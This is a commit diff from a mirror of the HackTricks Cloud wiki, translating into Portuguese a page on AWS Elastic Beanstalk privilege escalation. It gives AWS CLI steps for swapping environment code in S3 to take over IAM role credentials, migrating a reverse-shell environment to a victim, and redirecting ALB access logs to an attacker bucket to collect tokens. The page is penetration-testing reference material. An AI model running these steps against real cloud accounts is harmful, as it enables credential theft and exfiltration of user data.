gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 14:47:17 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-05-18 15:35:06 +00:00
parent ab8011ba92
commit 74a265aa75
1 changed files with 97 additions and 12 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
+97 -12
View File
@@ -11,11 +11,11 @@ Mais **info sobre Elastic Beanstalk** em:
{{#endref}}
> [!WARNING]
> Para realizar ações sensíveis no Beanstalk você precisará ter **muitas permissões sensíveis em vários serviços diferentes**. Você pode verificar, por exemplo, as permissões atribuídas a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
> Para realizar ações sensíveis em Beanstalk, você precisará de **muitas permissões sensíveis em muitos serviços diferentes**. Você pode verificar, por exemplo, as permissões dadas a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
### `elasticbeanstalk:RebuildEnvironment`, permissões de escrita em S3 & muitos outros
### `elasticbeanstalk:RebuildEnvironment`, permissões de escrita em S3 e muitas outras
Com **permissões de escrita sobre o bucket S3** que contém o **código** do ambiente e permissões para **reconstruir** a aplicação (é necessário `elasticbeanstalk:RebuildEnvironment` e mais algumas relacionadas a `S3`, `EC2` e `Cloudformation`), você pode **modificar** o **código**, **reconstruir** a aplicação e, na próxima vez que acessar a aplicação, ela irá **executar seu novo código**, permitindo que o atacante comprometa a aplicação e as credenciais do role do IAM.
Com **permissões de escrita sobre o bucket S3** que contém o **code** do environment e permissões para **rebuild** a aplicação (é necessário `elasticbeanstalk:RebuildEnvironment` e algumas outras relacionadas a `S3` , `EC2` e `Cloudformation`), você pode **modificar** o **code**, **rebuild** a app e, na próxima vez que você acessar a app, ela irá **executar seu novo code**, permitindo que o attacker comprometa a aplicação e as credenciais da IAM role dela.
```bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -30,39 +30,39 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
```
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, e mais...
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...
As permissões mencionadas, além de várias **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** e **`elasticloadbalancing`**, são necessárias para criar um cenário básico do Elastic Beanstalk a partir do zero.
As permissões mencionadas, além de várias permissões de **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** e **`elasticloadbalancing`**, são necessárias para criar um cenário bruto de Elastic Beanstalk do zero.
- Criar uma aplicação AWS Elastic Beanstalk:
```bash
aws elasticbeanstalk create-application --application-name MyApp
```
- Crie um ambiente AWS Elastic Beanstalk ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
- Criar um ambiente AWS Elastic Beanstalk ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
```bash
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
```
Se um ambiente já foi criado e você **não quer criar um novo**, você pode apenas **atualizar** o existente.
Se um ambiente já foi criado e você **não quiser criar um novo**, você pode simplesmente **atualizar** o existente.
- Empacote o código da sua aplicação e as dependências em um arquivo ZIP:
```python
zip -r MyApp.zip .
```
- Upload o arquivo ZIP para um bucket S3:
- Faça upload do arquivo ZIP para um bucket S3:
```python
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
```
- Criar uma versão de aplicação no AWS Elastic Beanstalk:
- Crie uma versão de aplicação do AWS Elastic Beanstalk:
```css
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
```
- Implante a versão da aplicação no seu ambiente AWS Elastic Beanstalk:
- Faça o deploy da versão da aplicação no seu AWS Elastic Beanstalk environment:
```bash
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
```
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
Primeiro você precisa criar um **ambiente Beanstalk legítimo** com o **code** que você gostaria de executar no **victim**, seguindo os **passos anteriores**. Possivelmente um simples **zip** contendo estes **2 arquivos**:
Primeiro, você precisa criar um **ambiente Beanstalk legítimo** com o **código** que você gostaria de executar na **vítima**, seguindo os **passos anteriores**. Potencialmente, um simples **zip** contendo estes **2 arquivos**:
{{#tabs }}
{{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
{{#endtab }}
{{#endtabs }}
Uma vez que você tenha **your own Beanstalk env running** your rev shell, é hora de **migrate** para o **victims** env. Para isso você precisa **update the Bucket Policy** do seu beanstalk S3 bucket para que o **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**):
Uma vez que você tenha **seu próprio Beanstalk env executando** sua rev shell, é hora de **migrá-la** para o env da **vítima**. Para isso, você precisa **atualizar a Bucket Policy** do seu bucket S3 do beanstalk para que a **vítima possa acessá-lo** (Observe que isso irá **abrir** o Bucket para **TODOS**):
```json
{
"Version": "2008-10-17",
@@ -162,4 +162,89 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
```
### `elasticbeanstalk:DescribeEnvironmentResources`, `elasticloadbalancing:ModifyLoadBalancerAttributes`, `s3:PutBucketPolicy`, `s3:ListBucket`, `s3:GetObject` para habilitar a exfiltração de logs de acesso do ALB
Se um atacante puder **enumerar** um ambiente **web** do Elastic Beanstalk, **atualizá-lo** e também **controlar a policy de um bucket S3** que ele possua, ele pode ser capaz de **exfiltrar tráfego HTTP** ao habilitar **ALB access logs** e redirecioná-los para esse bucket.
> [!NOTE]
> Esta técnica também precisa da capacidade de **modificar a policy do bucket de destino** para que o serviço de entrega de logs do ALB possa gravar os logs nele.
Prepare um **bucket controlado pelo atacante** para que o serviço de entrega de logs do ALB possa gravar lá:
```bash
ENV_NAME=<environment-name>
LOG_BUCKET=<attacker-bucket>
LOG_PREFIX=<prefix>
cat > /tmp/alb-log-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowALBLogDeliveryPut",
"Effect": "Allow",
"Principal": {
"Service": [
"logdelivery.elasticloadbalancing.amazonaws.com",
"delivery.logs.amazonaws.com"
]
},
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/*"
},
{
"Sid": "AllowALBLogDeliveryAclCheck",
"Effect": "Allow",
"Principal": {
"Service": [
"logdelivery.elasticloadbalancing.amazonaws.com",
"delivery.logs.amazonaws.com"
]
},
"Action": [
"s3:GetBucketAcl",
"s3:ListBucket"
],
"Resource": "arn:aws:s3:::$LOG_BUCKET"
}
]
}
EOF
aws s3api put-bucket-policy \
--bucket "$LOG_BUCKET" \
--policy file:///tmp/alb-log-policy.json \
--profile "$PROFILE"
```
Então habilite os ALB access logs:
```bash
aws elbv2 modify-load-balancer-attributes \
--load-balancer-arn "$LB_ARN" \
--attributes \
Key=access_logs.s3.enabled,Value=true \
Key=access_logs.s3.bucket,Value=$LOG_BUCKET \
Key=access_logs.s3.prefix,Value=$LOG_PREFIX \
--region us-east-1 \
--profile "$PROFILE"
```
Depois disso, espere o ALB agrupar e entregar os logs:
```bash
aws s3 ls "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" --recursive --profile "$PROFILE"
```
Por fim, baixe os logs e faça grep por query strings interessantes:
```bash
mkdir -p /tmp/lab2-logs
aws s3 cp "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" \
/tmp/lab2-logs \
--recursive \
--profile "$PROFILE"
find /tmp/lab2-logs -name '*.gz' -print0 | xargs -0 zgrep -n 'token='
```
A **linha de request** dentro dos logs do ALB pode conter valores como **`?token=<FLAG>`** se dados sensíveis estiverem sendo enviados na URL.
**Impacto**:
- Exfiltração contínua de metadados de HTTP request por meio de um plano de logging controlado pelo attacker
- Exposição de secrets presentes na query string da URL
- Um caminho de exfiltração mais stealthy porque o traffic é produzido por componentes legítimos da application e exportado pelo logging gerenciado pela AWS
{{#include ../../../../banners/hacktricks-training.md}}